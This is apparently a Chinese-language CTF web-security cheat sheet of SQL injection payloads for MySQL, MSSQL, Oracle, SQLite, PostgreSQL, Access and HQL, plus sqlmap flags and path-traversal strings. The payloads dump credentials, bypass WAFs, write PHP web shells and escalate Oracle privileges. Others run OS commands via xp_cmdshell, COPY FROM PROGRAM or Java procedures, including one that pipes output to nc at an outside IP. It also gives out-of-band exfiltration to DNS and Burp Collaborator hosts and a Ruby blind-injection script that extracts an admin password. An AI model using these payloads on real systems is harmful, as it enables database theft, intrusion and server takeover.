greatest(a, b)返回 a, b 中最大的greatest(1, 2)=2- 1
greatest(1, 2)=1- 0
- between a and b
- 介於 a 到 b 之間
greatest(1, 2) between 1 and 3- 1
- regexp
SELECT 'abc' regexp '.*'- 1
- Collation
*_cicase insensitive collation 不區分大小寫*_cscase sensitive collation 區分大小寫*_binbinary case sensitive collation 區分大小寫
- @@version
-
Union Based
- 判斷 column 數
union select 1,2,3...Norder by N找最後一個成功的 N
AND 1=2 UNION SELECT 1, 2, password FROM admin--+LIMIT N, M跳過前 N 筆,抓 M 筆- 爆資料庫名
union select 1,2,schema_name from information_schema.schemata limit 1,1
- 爆表名
union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
- 爆Column名
union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
- MySQL User
SELECT CONCAT(user, ":" ,password) FROM mysql.user;
- 判斷 column 數
-
Error Based
- 長度限制
- 錯誤訊息有長度限制
#define ERRMSGSIZE (512)
- Overflow
- MySQL > 5.5.5 overflow 才會有錯誤訊息
SELECT ~0=>18446744073709551615SELECT ~0 + 1=> ERRORSELECT exp(709)=>8.218407461554972e307SELECT exp(710)=> ERROR- 若查詢成功,會返回0
SELECT exp(~(SELECT * FROM (SELECT user())x));ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
select (select(!x-~0)from(select(select user())x)a);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'- MySQL > 5.5.53 不會顯示查詢結果
- xpath
- extractvalue (有長度限制,32位)
select extractvalue(1,concat(0x7e,(select @@version),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- updatexml (有長度限制,32位)
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- extractvalue (有長度限制,32位)
- 主鍵重複
select count(*) from test group by concat(version(),floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
- 其它函數 (5.7)
select ST_LatFromGeoHash(version());select ST_LongFromGeoHash(version());select GTID_SUBSET(version(),1);select GTID_SUBTRACT(version(),1);select ST_PointFromGeoHash(version(),1);
- 爆庫名、表名、字段名
- 當過濾
information_schema等關鍵字時,可以用下面方法爆庫名select 1,2,3 from users where 1=abc();ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
- 爆表名
select 1,2,3 from users where Polygon(id);select 1,2,3 from users where linestring(id);ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
- 爆Column
select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);ERROR 1060 (42S21): Duplicate column name 'id'
select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);ERROR 1060 (42S21): Duplicate column name 'username'
- 當過濾
- 長度限制
-
Blind Based (Time/Boolean)
- Boolean
- 「有」跟「沒有」
id=87 and length(user())>0id=87 and length(user())>100id=87 and ascii(mid(user(),1,1))>100id=87 or ((select user()) regexp binary '^[a-z]')
- Time
- 用在啥結果都看不到時
id=87 and if(length(user())>0, sleep(10), 1)=1id=87 and if(length(user())>100, sleep(10), 1)=1id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
- Boolean
-
Out of Bnad
- Windows only
select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata
-
繞過空白檢查
id=-1/**/UNION/**/SELECT/**/1,2,3id=-1%09UNION%0DSELECT%0A1,2,3id=(-1)UNION(SELECT(1),2,3)
-
寬字節注入
addslashes()會讓'變\'- 在
GBK編碼中,中文字用兩個 Bytes 表示- 其他多字節編碼也可
- 但要低位範圍有包含
0x5c(\)
- 第一個 Byte 要 >128 才是中文
%df'=>%df\'=>運'(成功逃逸)
-
Order by注入
- 可以透過
asc、desc簡單判斷?sort=1 asc?sort=1 desc
- 後面不能接 UNION
- 已知字段名 (可以盲注)
?order=IF(1=1, username, password)
- 利用報錯
?order=IF(1=1,1,(select 1 union select 2))正確?order=IF(1=2,1,(select 1 union select 2))錯誤?order=IF(1=1,1,(select 1 from information_schema.tables))正常?order=IF(1=2,1,(select 1 from information_schema.tables))錯誤
- Time Based
?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))正常?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))sleep 2秒
- 可以透過
-
group by with rollup
' or 1=1 group by pwd with rollup limit 1 offset 2#
-
將字串轉成純數字
- 字串 -> 16進位 -> 10進位
conv(hex(YOUR_DATA), 16, 10)- 還原:
unhex(conv(DEC_DATA,10,16)) - 需注意不要 Overflow
-
不使用逗號
LIMIT N, M=>LIMIT M OFFSET Nmid(user(), 1, 1)=>mid(user() from 1 for 1)UNION SELECT 1,2,3=>UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
-
快速查找帶關鍵字的表
select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
-
不知列名、不能訪問 information_schema 爆數據
- 須知道表名
- 例如: artice、admin
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x- 列名不夠,繼續加 4,5,6,7,... 一直到猜對列名個數
-
innodb
- 表引擎為 innodb
- MySQL > 5.5
- innodb_table_stats、innodb_table_index存放所有庫名表名
select table_name from mysql.innodb_table_stats where database_name=資料庫名;- Example: Codegate2018 prequal - simpleCMS
-
sys
sys.statements_with_full_table_scans- 可以撈表名
- 詳見 PPP simpleCMS writeup
select query from sys.statements_with_full_table_scans- MySQL 5.7
-
Bypass WAF
select password=>SelEcT password(大小寫)select password=>select/**/password(繞空白)select password=>s%65lect%20password(URLencode)select password=>select(password)(繞空白)select password=>select%0apassword(繞空白)- %09, %0a, %0b, %0c, %0d, %a0
select password from admin=>select password /*!from*/ admin(MySQL註解)information_schema.schemata=>`information_schema`.schemata(繞關鍵字/空白)select xxx from`information_schema`.schemata
select pass from user where id='admin'=>select pass from user where id=0x61646d696e(繞引號)id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
?id=0e2union select 1,2,3(科學記號)?id=1union select 1,2,3會爛?id=0e1union(select~1,2,3)(~)?id=.1union select 1,2,3(點)
WHERE=>HAVING(繞關鍵字)AND=>&&(繞關鍵字)OR=>||==>LIKEa = 'b'=>not a > 'b' and not a < 'b'> 10=>not between 0 and 10
LIMIT 0,1=>LIMIT 1 OFFSET 0(繞逗號)substr('kaibro',1,1)=>substr('kaibro' from 1 for 1)
- Multipart/form-data繞過
- 偽造 User-Agent
- e.g. 有些 WAF 不封 google bot
-
phpMyAdmin
- 寫文件 getshell
- 條件
- root 權限
- 已知 web 路徑
- 有寫檔權限
select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"
- 條件
- general_log getshell
- 條件
- 讀寫權限
- 已知 web 路徑
- step1. 開啟日誌:
set global general_log = "ON"; - step2. 指定日誌文件:
set global general_log_file = "/var/www/html/shell.php"; - step3. 寫入php:
select "<?php phpinfo();?>";
- 條件
- slow_query getshell
- step1. 設置日誌路徑:
set GLOBAL slow_query_log_file='/var/www/html/shell.php'; - step2. 開啟 slow_query_log:
set GLOBAL slow_query_log=on; - step3. 寫入 php:
select '<?php phpinfo();?>' from mysql.db where sleep(10);
- step1. 設置日誌路徑:
- CVE-2018-19968
- phpMyAdmin versions: 4.8.0 ~ 4.8.3
- LFI to RCE
- 條件
- 能登入後台
- step1.
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>'; - step2.
/chk_rel.php?fixall_pmadb=1&db=foo - step3.
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop'; - step4.
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
- CVE-2018-12613
- phpMyAdmin versions: 4.8.x
- LFI to RCE
- 條件
- 能登入後台
- Payload
index.php?target=db_sql.php%253f/../../../../../../windows/system.iniindex.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu- 在控制台執行的 sql 語句會被寫入 session
- Session id 可以從 cookie
phpMyAdmin得到
- CVE-2016-5734
- phpmyadmin versions:
- 4.0.10.16 之前的4.0.x版本
- 4.4.15.7 之前的 4.4.x版本
- 4.6.3之前的 4.6.x版本
- php version:
- 4.3.0 ~ 5.4.6
preg_replaceRCE- 條件
- 能登入後台
- phpmyadmin versions:
- CVE-2014-8959
- phpMyAdmin version:
- 4.0.1 ~ 4.2.12
- php version:
- < 5.3.4
- 條件
- 能登入後台
- 能截斷
- Payload:
gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00(需修改token)
- phpMyAdmin version:
- CVE-2013-3238
- versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
- https://www.exploit-db.com/exploits/25136
- CVE-2012-5159
- versions: v3.5.2.2
- server_sync.php Backdoor
- https://www.exploit-db.com/exploits/21834
- CVE-2009-1151
- versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
- config/config.inc.php 命令執行
- https://www.exploit-db.com/exploits/8921
- 弱密碼 / 萬用密碼
- phpmyadmin 2.11.9.2: root/空密碼
- phpmyadmin 2.11.3 / 2.11.4: 用戶名:
'localhost'@'@"
- 寫文件 getshell
-
子字串:
SUBSTRING("abc", 1, 1) => 'a'
-
Ascii function
ascii('A') => 65
-
Char function
char(65) => 'a'
-
Concatenation
+'a'+'b' => 'ab'
-
Delay function
WAITFOR DELAY '0:0:10'
-
空白字元
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
-
IF 語句
- IF condition true-part ELSE false-part
IF (1=1) SELECT 'true' ELSE SELECT 'false'
-
註解:
--/**/
-
TOP
- MSSQL 沒有
LIMIT N, M的用法 SELECT TOP 87 * FROM xxx取最前面 87 筆- 取第 78~87 筆
SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
- MSSQL 沒有
-
其它:
- user
- db_name()
- user_name()
- @@version
- @@language
- @@servername
- host_name()
- has_dbaccess('master')
-
查詢用戶
select name, loginame from master..syslogins, master..sysprocesses
-
查用戶密碼
select user,password from master.dbo.syslogins
-
當前角色是否為資料庫管理員
SELECT is_srvrolemember('sysadmin')
-
當前角色是否為db_owner
SELECT IS_MEMBER('db_owner')
-
爆DB name
DB_NAME(N)UNION SELECT NULL,DB_NAME(N),NULL--UNION SELECT NULL,name,NULL FROM master ..sysdatabases--SELECT catalog_name FROM information_schema.schemata1=(select name from master.dbo.sysdatabases where dbid=5)
-
爆表名
SELECT table_catalog, table_name FROM information_schema.tablesSELECT name FROM sysobjects WHERE xtype='U'ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--
-
爆column
SELECT table_catalog, table_name, column_name FROM information_schema.columnsSELECT name FROM syscolumns WHERE id=object_id('news')ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')
-
一次性獲取全部資料
select quotename(name) from master..sysdatabases FOR XML PATH('')select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto
-
Union Based
- Column 型態必須相同
- 可用
NULL來避免
-
Error Based
- 利用型別轉換錯誤
id=1 and user=0
-
Out of Band
declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)- Requires VIEW SERVER STATE permission on the server
fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)- Requires the CONTROL SERVER permission.
fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)- Requires the CONTROL SERVER permission.
-
判斷是否站庫分離
- 客戶端主機名:
select host_name(); - 服務端主機名:
select @@servername; - 兩者不同即站庫分離
- 客戶端主機名:
-
讀檔
select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)
-
xp_cmdshell
- 在 MSSQL 2000 默認開啟
- MSSQL 2005 之後默認關閉
- 有 sa 權限,可透過 sp_configure 重啟它
EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE-
執行 command
exec xp_cmdshell 'whoami'
-
關閉xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure'xp_cmdshell', 0; RECONFIGURE; -
快速查找帶關鍵字的表
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');
-
繞 WAF
- Non-standard whitespace character:
1%C2%85union%C2%85select%C2%A0null,@@version,null--
- 混淆 UNION
0eunion+select+null,@@version,null--
- Unicode 繞過
- IIS 對 Unicode 編碼是可以解析的,即
s%u0065lect會被解析為 select
- IIS 對 Unicode 編碼是可以解析的,即
- Non-standard whitespace character:
SELECT語句必須包含FROM- 未指定來源,可以用
dual表
- 未指定來源,可以用
- 子字串:
SUBSTR('abc', 1, 1) => 'a'
- 空白字元
00 0A 0D 0C 09 20
- IF語句
IF condition THEN true-part [ELSE false-part] END IF
- 註解:
--/**/
- 不支援 limit
- 改用 rownum
select table_name from (select rownum no, table_name from all_tables) where no=1
- 單雙引號
- 單引號: string, date
- 雙引號: identifier (table name, column name, ...)
- 其它
SYS.DATABASE_NAME- current database
USER- current user
- or
sys.login_user
SELECT role FROM session_roles- current role
SELECT privilege FROM user_sys_privs- system privileges granted to the current user
SELECT privilege FROM role_sys_privs- privs the current role has
SELECT privilege FROM session_privs- the all privs that current user has = user_sys_privs + role_sys_privs
SELECT banner FROM v$version where rownum=1- database version
SELECT host_name FROM v$instance;- Name of the host machine
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'- 作業系統版本
utl_inaddr.get_host_address- 本機IP
select utl_inaddr.get_host_name('87.87.87.87') from dual- IP反解
dba_tables- 系統所有表資訊,需要 dba 權限
user_tables- 當前使用者名下表的資訊
- 庫名(schema)
SELECT DISTINCT OWNER FROM ALL_TABLES
- 表名
SELECT OWNER, TABLE_NAME FROM ALL_TABLES
- Column
SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
- Union Based
- Column 型態必須相同
- 可用
NULL來避免錯誤 UNION SELECT 1, 'aa', null FROM dual
- Time Based
dbms_pipe.receive_message(('a'),10)SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
- Error Based
CTXSYS.DRITHSX.SNSELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1
utl_inaddr.get_host_nameand 1=utl_inaddr.get_host_name((SQL in HERE))- 版本 >=11g,需要超級用戶或授予網路權限的用戶才能用
dbms_xdb_version.checkinand (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_version.makeversionedand (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckoutand (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhashand (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
- Out of band
UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1SYS.DBMS_LDAP.INIT()utl_inaddr.get_host_address()HTTPURITYPESELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;
extractvalue()XXESELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual- 新版已 patch
- users
select username from all_users- lists all users of the database
select name, password from sys.user$select username,password,account_status from dba_users
- Java source
- 可以創建 Java 源碼並存成 Oracle 物件
CREATE JAVA SOURCE NAMED "xxxx" AS <Java Code>
- Code execution
- load lib
create or replace library lib_evil as '/home/oracle/evil.so';create or replace function cmd(str varchar2) return varchar2 as language c library lib_evil name "cmd";select cmd('whoami') from dual;
dbms_java.runjavadbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')
DBMS_JAVA_TEST.FUNCALLSELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/usr/bin/bash','-c','/bin/ls|/usr/bin/nc 1.2.3.4 1234') FROM DUAL;
DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES- 利用 PL/SQL Injection 提權
- 影響版本: Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
-- 提權 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual -- 建立java command select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual -- 賦予java執行權限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual -- 創建函數 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual -- 賦予函數執行權限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual -- 執行指令 select sys.cmd('cmd.exe /c whoami') from dual
dbms_xmlquery.newcontext- 執行多語句
- 影響版本: oracle 10g, 11g 等,高版本已修復
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual; select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'; select LINXRUNCMD('whoami') from dual;
- load lib
- 特殊用法
DBMS_XMLGEN.getXML('select user from dual')
- 子字串:
substr(“abc",1,1) => 'a'
- Ascii function:
unicode('d') => 100
- legth
length('ab') => 2
- Concatenation
||'a' || 'b' => 'ab'
- Time Delay
randomblob(100000000)
- 空白字元
0A 0D 0C 09 20
- Case when
- SQLite 沒有
if - 可以用
Case When ... Then ...代替 case when (條件) then ... else ... end
- SQLite 沒有
- 註解
--
- 爆表名
SELECT name FROM sqlite_master WHERE type='table'
- 爆表結構(含 Column)
SELECT sql FROM sqlite_master WHERE type='table'
- 其他
sqlite_version()- sqlite 無法使用
\'跳脫單引號 []神奇用法CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;- CREATE TABLE 後面也能接 SELECT condition
- zer0pts CTF 2020 - phpNantokaAdmin
- Boolean Based: SECCON 2017 qual SqlSRF
Click here to view script
# encoding: UTF-8
# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼
require 'net/http'
require 'uri'
$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''
(1..100).each do |i|
l = 48
r = 122
while(l <= r)
#puts "left: #{l}, right: #{r}"
break if l == r
mid = ((l + r) / 2)
$query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
if res.body.include? 'document.location'
l = mid + 1
else
r = mid
end
end
$ans += l.chr
puts $ans
end- 子字串
substr("abc", 1, 1) => 'a'
- Ascii function
ascii('x') => 120
- Char function
chr(65) => A
- Concatenation
||'a' || 'b' => 'ab'
- Delay function
pg_sleep(5)GENERATE_SERIES(1, 1000000)repeat('a', 10000000)
- 空白字元
0A 0D 0C 09 20
- encode / decode
encode('123\\000\\001', 'base64')=>MTIzAAE=decode('MTIzAAE=', 'base64')=>123\000\001
- 不支援limit N, M
limit a offset b略過前 b 筆,抓出 a 筆出來
- 註解
--/**/
- $$ 取代引號
SELECT $$This is a string$$
- 爆庫名
SELECT datname FROM pg_database
- 爆表名
SELECT tablename FROM pg_tables WHERE schemaname='dbname'
- 爆Column
SELECT column_name FROM information_schema.columns WHERE table_name='admin'
- Dump all
array_to_string(array(select userid||':'||password from users),',')
- 列舉 privilege
SELECT * FROM pg_roles;
- 列舉用戶 hash
SELECT usename, passwd FROM pg_shadow
- RCE
- CVE-2019–9193
- 在 9.3 版本實作了
COPY TO/FROM PROGRAM - 版本 9.3 ~ 11.2 預設啟用
- 讓 super user 和任何在
pg_read_server_files群組的 user 可以執行任意指令 - 方法
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;
- 在 9.3 版本實作了
- 版本 8.2 以前
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;select system('id');
- UDF
- sqlmap udf: https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;SELECT sys_eval("id");
- CVE-2019–9193
- 其它
- version()
- current_database()
- user
- current_user
SELECT usename FROM pg_user;
- getpgusername()
- current_schema
- current_query()
- inet_server_addr()
- inet_server_port()
- inet_client_addr()
- inet_client_port()
- type conversion
cast(count(*) as text)
md5('abc')replace('abcdefabcdef', 'cd', 'XX')=>abXXefabXXefpg_read_file(filename, offset, length)- 讀檔
- 只能讀 data_directory 下的
pg_ls_dir(dirname)- 列目錄內容
- 只能列 data_directory 下的
- PHP 的
pg_query()可以多語句執行 lo_import(),lo_get()讀檔select cast(lo_import('/var/lib/postgresql/data/secret') as text)=>18440select cast(lo_get(18440) as text)=>secret_here
- 沒有註解
- 某些情況可以用
%00,%16來達到類似效果
- 某些情況可以用
- 沒有 Stacked Queries
- 沒有 Limit
- 可以用
TOP,LAST取代 'UNION SELECT TOP 5 xxx FROM yyy%00
- 可以用
- 沒有 Sleep, Benchmark, ...
- 支援 Subquery
'AND (SELECT TOP 1 'xxx' FROM table)%00
- 在 subquery 或 Union select 時,需要指定
FROM - String Concatenation
&(%26)+(%2B)'UNION SELECT 'aa' %2b 'bb' FROM table%00
- Ascii Function
ASC()'UNION SELECT ASC('A') FROM table%00
- Substring Function
Mid()Mid('admin',1,1)
- IF THEN
IFF(condition, true, false)'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
- Ref
- Hibernate
- 不支援 UNION 語法
- 單引號跳脫法
- MySQL 中,單引號用
\'跳脫 - HQL 中,用兩個單引號
''跳脫 'abc\''or 1=(SELECT 1)--'- 在 HQL 是一個字串
- 在 MySQL 是字串+額外 SQL 語句
- MySQL 中,單引號用
- Magic Function 法
- PostgreSQL 中內建
query_to_xml('Arbitary SQL') - Oracle 中有
dbms_xmlgen.getxml('SQL')
- PostgreSQL 中內建
- Java Constants
- 可以從 classpath 中去找 constant 來用
- 例如
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR在 MySQL 層就會被解成單引號 (在 HQL 層則不是) - Example: DEVCORE Wargame 2024 - Spring
/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a- HQL: 等同
/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a - MySQL: 等同
/a'*length('a')*'[shit]'-- [shit]
- HQL: 等同
- 常見 Constants:
org.apache.batik.util.XMLConstants.XML_CHAR_APOScom.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTEjodd.util.StringPool.SINGLE_QUOTEch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHARcz.vutbr.web.csskit.OutputUtil.STRING_OPENINGcom.sun.java.help.impl.DocPConst.QUOTEorg.eclipse.help.internal.webapp.utils.JSonHelper.QUOTEorg.apache.logging.log4j.util.Chars.QUOTE
- Reference
HQL injection example (pwn2win 2017)
-
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)- Output:
ERROR: could not stat file "flag": No such file or directory
- Output:
-
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)- Output:
ERROR: could not stat file "secret": No such file or directory
- Output:
-
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)- Output:
ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory
- Output:
$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";- ffifdyop
- md5:
276f722736c95d99e921722cf9ed621c - to string:
'or'6<trash>
- md5:
id=1&id=2&id=3- ASP.NET + IIS:
id=1,2,3 - ASP + IIS:
id=1,2,3 - PHP + Apache:
id=3
- ASP.NET + IIS:
- https://github.com/sqlmapproject/sqlmap/wiki/Usage
- Usage
python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'- 庫名:
--dbs - 表名:
-D dbname --tables - column:
-D dbname -T tbname --columns - dump:
-D dbname -T tbname --dump--start=1--stop=5566
- DBA?
--is-dba - 爆帳密:
--passwords - 看權限:
--privileges - 拿shell:
--os-shell - interative SQL:
--sql-shell - 讀檔:
--file-read=/etc/passwd - Delay時間:
--time-sec=10 - User-Agent:
--random-agent - Thread:
--threads=10 - Level:
--level=3- default: 1
--technique- default:
BEUSTQ
- default:
- Cookie:
--cookie="abc=55667788" - Tor:
--tor --check-tor --tor-type=SOCKS5 --tor-port=9050
- 庫名:
-
Common Payload
./index.php././index.php.//index.php../../../../../../etc/passwd../../../../../../etc/passwd%00- 僅在 5.3.0 以下可用
- magic_quotes_gpc 需為OFF
....//....//....//....//etc/passwd%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%252e/%252e/etc/passwdNN/NN/NN/etc/passwd.+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwdstatic\..\..\..\..\..\..\..\..\etc\passwd
-
Config
